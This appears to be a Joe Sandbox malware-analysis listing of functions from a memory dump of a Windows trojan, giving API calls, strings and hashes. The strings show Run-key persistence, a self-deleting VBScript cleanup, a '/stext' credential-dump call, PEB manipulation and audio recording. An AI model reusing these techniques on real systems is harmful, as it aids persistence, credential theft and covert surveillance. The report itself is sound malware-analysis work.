Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
String ID: """, 0$")$0qF$0qF$8SG$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
API String ID: 1861856835-332907002
Opcode ID: 4dd51f9d9474aff828aae78cf0449dadfc192e0bcfa601c76ee246fd980b7321
Instruction ID: f0dedf37b1d13a6a68a2ae87fd6fc042f686ba0b246118386f774540a9e6bc24
Opcode Fuzzy Hash: 4dd51f9d9474aff828aae78cf0449dadfc192e0bcfa601c76ee246fd980b7321
Instruction Fuzzy Hash: 2191A4716082005AC315FB62D8529AFB7A9AF91309F10443FB14AA71E3FF7C9D49C65E

Uniqueness

Uniqueness Score: -1.00%

Function 0040D096 Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 260registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,?,0040D80F), ref: 00412860
Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF,?,0040D80F), ref: 00412873

GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1A5
RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D1B8
SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1E8
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1F7

Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,00000000,?,0040D442,?,00000000), ref: 0040B8BB
Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32(004750F0), ref: 0040B8C7
Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A267,00000000,?,0040D442,?,00000000), ref: 0040B8D5

Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041B99F

ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D412
ExitProcess.KERNEL32 ref: 0040D419

Strings

"), xrefs: 0040D2B1
hpF, xrefs: 0040D38F
while fso.FileExists(", xrefs: 0040D2C8
Set fso = CreateObject("Scripting.FileSystemObject"), xrefs: 0040D285
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0040D0E7
exepath, xrefs: 0040D181
fso.DeleteFile(Wscript.ScriptFullName), xrefs: 0040D3C1
fso.DeleteFile ", xrefs: 0040D315
8SG, xrefs: 0040D15E
open, xrefs: 0040D40C
pth_unenc, xrefs: 0040D09C
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 0040D138
.vbs, xrefs: 0040D201
On Error Resume Next, xrefs: 0040D294
fso.DeleteFolder ", xrefs: 0040D38A
wend, xrefs: 0040D364
dMG, xrefs: 0040D0D1
Temp, xrefs: 0040D246

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
String ID: ")$.vbs$8SG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$hpF$open$pth_unenc$wend$while fso.FileExists("
API String ID: 3797177996-2557013105
Opcode ID: be73156ffd57c3f649cc91e4c93651d7f35cc94004796a8fa12775aefd0dfa7f
Instruction ID: d7bb7cf55c4450259501d0c3086a2d123ad94ece798773e978a9ab54bd012bbb
Opcode Fuzzy Hash: be73156ffd57c3f649cc91e4c93651d7f35cc94004796a8fa12775aefd0dfa7f
Instruction Fuzzy Hash: 9081B0716082005BC715FB62D8529AF77A8AFD1308F10483FB586A71E2EF7C9E49C65E

Uniqueness

Uniqueness Score: -1.00%

Function 00412475 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 190synchronizationsleepfileCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,004750E4,00000003), ref: 00412494
ExitProcess.KERNEL32(00000000), ref: 004124A0
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041251A
OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412529
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00412534
CloseHandle.KERNEL32(00000000), ref: 0041253B
GetCurrentProcessId.KERNEL32 ref: 00412541
PathFileExistsW.SHLWAPI(?), ref: 00412572
GetTempPathW.KERNEL32(00000104,?), ref: 004125D5
GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 004125EF
lstrcatW.KERNEL32(?,.exe), ref: 00412601

Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,0041C510,00000000,00000000,00000000), ref: 0041C430

ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 00412641
Sleep.KERNEL32(000001F4), ref: 00412682
OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412697
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004126A2
CloseHandle.KERNEL32(00000000), ref: 004126A9
GetCurrentProcessId.KERNEL32 ref: 004126AF

Strings

open, xrefs: 0041263B
temp_, xrefs: 004125E3
8SG, xrefs: 004124A6
exepath, xrefs: 004124CC
WDH, xrefs: 00412548, 004126B6
.exe, xrefs: 004125F5

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
String ID: .exe$8SG$WDH$exepath$open$temp_
API String ID: 2649220323-436679193
Opcode ID: 41acead5e00a0d3b02ed220858109bffcea00a40e5874d1294efd922ef337f81
Instruction ID: 17e21f0bcac096b9b94ced5306d028ab2385f4d1d2402c2ee3c492442eb82615
Opcode Fuzzy Hash: 41acead5e00a0d3b02ed220858109bffcea00a40e5874d1294efd922ef337f81
Instruction Fuzzy Hash: 4651B371A00315BBDB10ABA09C9AEFE336D9B04715F10406BF502E71D2EFBC8E85865D

Uniqueness

Uniqueness Score: -1.00%

Function 0041B047 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041B13C
mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041B150
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,004660A4), ref: 0041B178
PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00474EE0,00000000), ref: 0041B18E
mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041B1CF
mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041B1E7
mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041B1FC
SetEvent.KERNEL32 ref: 0041B219
WaitForSingleObject.KERNEL32(000001F4), ref: 0041B22A
CloseHandle.KERNEL32 ref: 0041B23A
mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041B25C
mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041B266

Strings

stop audio, xrefs: 0041B257
close audio, xrefs: 0041B261
play audio, xrefs: 0041B14B
resume audio, xrefs: 0041B1E2
stopped, xrefs: 0041B202
pause audio, xrefs: 0041B1CA
status audio mode, xrefs: 0041B1F7
" type , xrefs: 0041B0D5
alias audio, xrefs: 0041B0B8
NG, xrefs: 0041B109, 0041B08B
open ", xrefs: 0041B0D0

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$NG
API String ID: 738084811-2094122233
Opcode ID: 6ef51392ff8895417ea989398018cdc7f1dc70480f06eceb7defc699de156b83
Instruction ID: fe650b41180b39ed17604f18bcb9a712e211fca36760164052b554565c231c06
Opcode Fuzzy Hash: 6ef51392ff8895417ea989398018cdc7f1dc70480f06eceb7defc699de156b83
Instruction Fuzzy Hash: 0351A3B12842056AD314B771DC96ABF379CDB84358F10043FB64A521E2EF788D48CA6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401A6D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401B03
WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401B13
WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401B23
WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401B33
WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401B43
WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B54
WriteFile.KERNEL32(00000000,00472AAA,00000002,00000000,00000000), ref: 00401B65
WriteFile.KERNEL32(00000000,00472AAC,00000004,00000000,00000000), ref: 00401B75
WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401B85
WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B96
WriteFile.KERNEL32(00000000,00472AB6,00000002,00000000,00000000), ref: 00401BA7
WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401BB7
WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401BC7

Strings

fmt , xrefs: 00401B2D
RIFF, xrefs: 00401AFD
data, xrefs: 00401BB1
WAVE, xrefs: 00401B1D

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: File$Write$Create
String ID: RIFF$WAVE$data$fmt
API String ID: 1602526932-4212202414
Opcode ID: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
Instruction ID: 2ec91bc18be8700290cedec85ec8f66933089e8d2246bcc6fed4c3761e19f715
Opcode Fuzzy Hash: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
Instruction Fuzzy Hash: EB414E72644308BAE210DA51DD86FBB7EECEB89B50F40441AF644D60C0D7A4E909DBB3

Uniqueness

Uniqueness Score: -1.00%

Function 00407270 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Users\Public\Libraries\nmfsxfjX.pif,00000001,0040764D,C:\Users\Public\Libraries\nmfsxfjX.pif,00000003,00407675,004752D8,004076CE), ref: 00407284
GetProcAddress.KERNEL32(00000000), ref: 0040728D
GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 004072A2
GetProcAddress.KERNEL32(00000000), ref: 004072A5
GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 004072B6
GetProcAddress.KERNEL32(00000000), ref: 004072B9
GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 004072CA
GetProcAddress.KERNEL32(00000000), ref: 004072CD
GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 004072DE
GetProcAddress.KERNEL32(00000000), ref: 004072E1
GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 004072F2
GetProcAddress.KERNEL32(00000000), ref: 004072F5

Strings

RtlInitUnicodeString, xrefs: 0040727E
C:\Users\Public\Libraries\nmfsxfjX.pif, xrefs: 00407271
RtlReleasePebLock, xrefs: 004072D8
RtlAcquirePebLock, xrefs: 004072C4
NtAllocateVirtualMemory, xrefs: 0040729C
LdrEnumerateLoadedModules, xrefs: 004072EC
ntdll.dll, xrefs: 00407278, 00407283, 004072A1, 004072B5, 004072C9, 004072DD, 004072F1
NtFreeVirtualMemory, xrefs: 004072B0

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: C:\Users\Public\Libraries\nmfsxfjX.pif$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
API String ID: 1646373207-2457946462
Opcode ID: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
Instruction ID: f839149ce94c73eee9bda0254407c114f4740b95dc73f4bc012c28e2a4ae17e7
Opcode Fuzzy Hash: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
Instruction Fuzzy Hash: 520171E0E4431676DB216F3A6C54D4B6F9C9E5125131A087BB409E2292FEBCE800CE6D

Uniqueness

Uniqueness Score: -1.00%

Function 0041C01B Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 0041C036
_memcmp.LIBVCRUNTIME ref: 0041C04E
lstrlenW.KERNEL32(?), ref: 0041C067
FindFirstVolumeW.KERNEL32(?,00000104,?), ref: 0041C0A2
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041C0B5
QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041C0F9
lstrcmpW.KERNEL32(?,?), ref: 0041C114
FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041C12C
_wcslen.LIBCMT ref: 0041C13B
FindVolumeClose.KERNEL32(?), ref: 0041C15B
GetLastError.KERNEL32 ref: 0041C173
GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041C1A0
lstrcatW.KERNEL32(?,?), ref: 0041C1B9
lstrcpyW.KERNEL32(?,?), ref: 0041C1C8
GetLastError.KERNEL32 ref: 0041C1D0

Strings

?, xrefs: 0041C0CD

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
String ID: ?
API String ID: 3941738427-1684325040
Opcode ID: abe7e308a1a6702f98718e9be80ca678ae2d2d31c1c14d85f2c6eaae61ca29ed
Instruction ID: a349862c8cee18361e8dc915c9858c0b302c9409c899df8dda18ff866c7f94c5
Opcode Fuzzy Hash: abe7e308a1a6702f98718e9be80ca678ae2d2d31c1c14d85f2c6eaae61ca29ed
Instruction Fuzzy Hash: 8B416171584316EBD720DFA0DC889EB77ECAB49755F00092BF545C2261EB78C988CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 00414D86 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 109libraryloaderCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414DD5
LoadLibraryA.KERNEL32(?), ref: 00414E17
GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E37
FreeLibrary.KERNEL32(00000000), ref: 00414E3E
LoadLibraryA.KERNEL32(?), ref: 00414E76
GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E88
FreeLibrary.KERNEL32(00000000), ref: 00414E8F
GetProcAddress.KERNEL32(00000000,?), ref: 00414E9E
FreeLibrary.KERNEL32(00000000), ref: 00414EB5

Strings

getaddrinfo, xrefs: 00414D93, 00414E31, 00414E82
\wship6, xrefs: 00414E5E
getnameinfo, xrefs: 00414DA2
freeaddrinfo, xrefs: 00414DB2
\ws2_32, xrefs: 00414DFF
IA, xrefs: 00414EDD

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeProc$Load$DirectorySystem
String ID: IA$\ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
API String ID: 2490988753-1941338355
Opcode ID: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
Instruction ID: d7a8240acd80c680e6a706eb94e62412fcb65bdb905c2e3468e0ccb64a1f64dc
Opcode Fuzzy Hash: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
Instruction Fuzzy Hash: 8C31D5B1902315A7C320EF65DC84EDBB7D8AF84744F004A2AF94893250D778DD858BEE

Uniqueness

Uniqueness Score: -1.00%

Function 0044F42D Relevance: 25.9, APIs: 17, Instructions: 419COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0044F4BF
_free.LIBCMT ref: 0044F4E5
_free.LIBCMT ref: 0044F50E
_free.LIBCMT ref: 0044F546
_free.LIBCMT ref: 0044F577
_free.LIBCMT ref: 0044F5B8
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 0044F639
_free.LIBCMT ref: 0044F652
_wcschr.LIBVCRUNTIME ref: 0044F68F
_free.LIBCMT ref: 0044F6FB
_free.LIBCMT ref: 0044F721
_free.LIBCMT ref: 0044F74A
_free.LIBCMT ref: 0044F77F
_free.LIBCMT ref: 0044F7B0
_free.LIBCMT ref: 0044F7F1
SetEnvironmentVariableW.KERNEL32(00000000,?,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044F876
_free.LIBCMT ref: 0044F88F

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: _free$EnvironmentVariable$_wcschr
String ID:
API String ID: 3899193279-0
Opcode ID: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
Instruction ID: f75d98bba309171a1893162bbba9979c566f834f65d54a181aa040c21db392b6
Opcode Fuzzy Hash: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
Instruction Fuzzy Hash: C4D13672D007006BFB20AF799D81A6B77A4EF01318F05427FE919A7382EB3D99058799

Uniqueness

Uniqueness Score: -1.00%

Function 00412AB4 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 482sleepfileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00412ACD

Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041B99F

Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5,?,?,004040F5,00465E74), ref: 0041857E
Part of subcall function 00418568: CloseHandle.KERNEL32(t^F,?,?,004040F5,00465E74), ref: 00418587

Sleep.KERNEL32(0000000A,00465E74), ref: 00412C1F
Sleep.KERNEL32(0000000A,00465E74,00465E74), ref: 00412CC1
Sleep.KERNEL32(0000000A,00465E74,00465E74,00465E74), ref: 00412D63
DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DC5
DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DFC
DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412E38
Sleep.KERNEL32(000001F4,00465E74,00465E74,00465E74), ref: 00412E52
Sleep.KERNEL32(00000064), ref: 00412E94

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Strings

/stext ", xrefs: 00412BAA, 00412C4C, 00412CEE
NG, xrefs: 00412F6C
0TG, xrefs: 0041314C
NG, xrefs: 004130C1
0TG, xrefs: 00413026

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
String ID: /stext "$0TG$0TG$NG$NG
API String ID: 1223786279-2576077980
Opcode ID: 45816bd423e92bb8680930aa6a7d7804db8f63587a8a1e07c71b8186c8759938
Instruction ID: 3b0169c2c8bc9f0d695cedb60fdc7b81a1931596247e975dd6f1dc47d42db627
Opcode Fuzzy Hash: 45816bd423e92bb8680930aa6a7d7804db8f63587a8a1e07c71b8186c8759938
Instruction Fuzzy Hash: 990255311083418AC325FB62D851AEFB3E5AFD4348F50483EF58A971E2EF785A49C65A

Uniqueness

Uniqueness Score: -1.00%

Function 0041C68F Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041C6B1
RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 0041C6F5
RegCloseKey.ADVAPI32(?), ref: 0041C9BF

Strings

DisplayVersion, xrefs: 0041C768
Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0041C6A7
InstallLocation, xrefs: 0041C77C
Publisher, xrefs: 0041C751
InstallDate, xrefs: 0041C790
DisplayName, xrefs: 0041C73C
UninstallString, xrefs: 0041C7A4

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseEnumOpen
String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
API String ID: 1332880857-3714951968
Opcode ID: 34f8705e0c0f93922566264f33deac87a441625c0d7611431a9fca3829c404f1
Instruction ID: af0903b0dab8fbea49832074ad132f154b97281cd99b968e1e8b6bf9777b958e
Opcode Fuzzy Hash: 34f8705e0c0f93922566264f33deac87a441625c0d7611431a9fca3829c404f1
Instruction Fuzzy Hash: 248144711083419BC325EF11D851EEFB7E8BF94309F10492FB589921A1FF78AE49CA5A

Uniqueness

Uniqueness Score: -1.00%

Function 0041D58F Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000401,?,?), ref: 0041D5DA
GetCursorPos.USER32(?), ref: 0041D5E9
SetForegroundWindow.USER32(?), ref: 0041D5F2
TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041D60C
Shell_NotifyIconA.SHELL32(00000002,00474B48), ref: 0041D65D
ExitProcess.KERNEL32 ref: 0041D665
CreatePopupMenu.USER32 ref: 0041D66B
AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041D680

Strings

Close, xrefs: 0041D671

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
String ID: Close
API String ID: 1657328048-3535843008
Opcode ID: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
Instruction ID: 483e3be36cf21f9f431d69439bfbb75804d706e25d1e382f075e68ac53faeb55
Opcode Fuzzy Hash: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
Instruction Fuzzy Hash: 392127B1944208FFDB194FA4ED0EAAA3B65FB08342F000135FA0A950B1D775EDA1EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00404E26 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 65synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00474EF8,PkGNG,00000000,00474EF8,00404CA8,00000000,00000000,00000000,?,00474EF8,?), ref: 00404E38
SetEvent.KERNEL32(00000000), ref: 00404E43
CloseHandle.KERNEL32(00000000), ref: 00404E4C
closesocket.WS2_32(FFFFFFFF), ref: 00404E5A
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00404E91
SetEvent.KERNEL32(00000000), ref: 00404EA2
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00404EA9
SetEvent.KERNEL32(00000000), ref: 00404EBA
CloseHandle.KERNEL32(00000000), ref: 00404EBF
CloseHandle.KERNEL32(00000000), ref: 00404EC4
SetEvent.KERNEL32(00000000), ref: 00404ED1
CloseHandle.KERNEL32(00000000), ref: 00404ED6

Strings

PkGNG, xrefs: 00404E28

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$ObjectSingleWait$closesocket
String ID: PkGNG
API String ID: 3658366068-263838557
Opcode ID: 87d744648c5afa45b50529b6b6d14d146fbf4d1d8295755f98280c9be6f36435
Instruction ID: 0c11cd9b042c69dc9d4dd2828563f6d61870a883144e53252efabab5b24bcc37
Opcode Fuzzy Hash: 87d744648c5afa45b50529b6b6d14d146fbf4d1d8295755f98280c9be6f36435
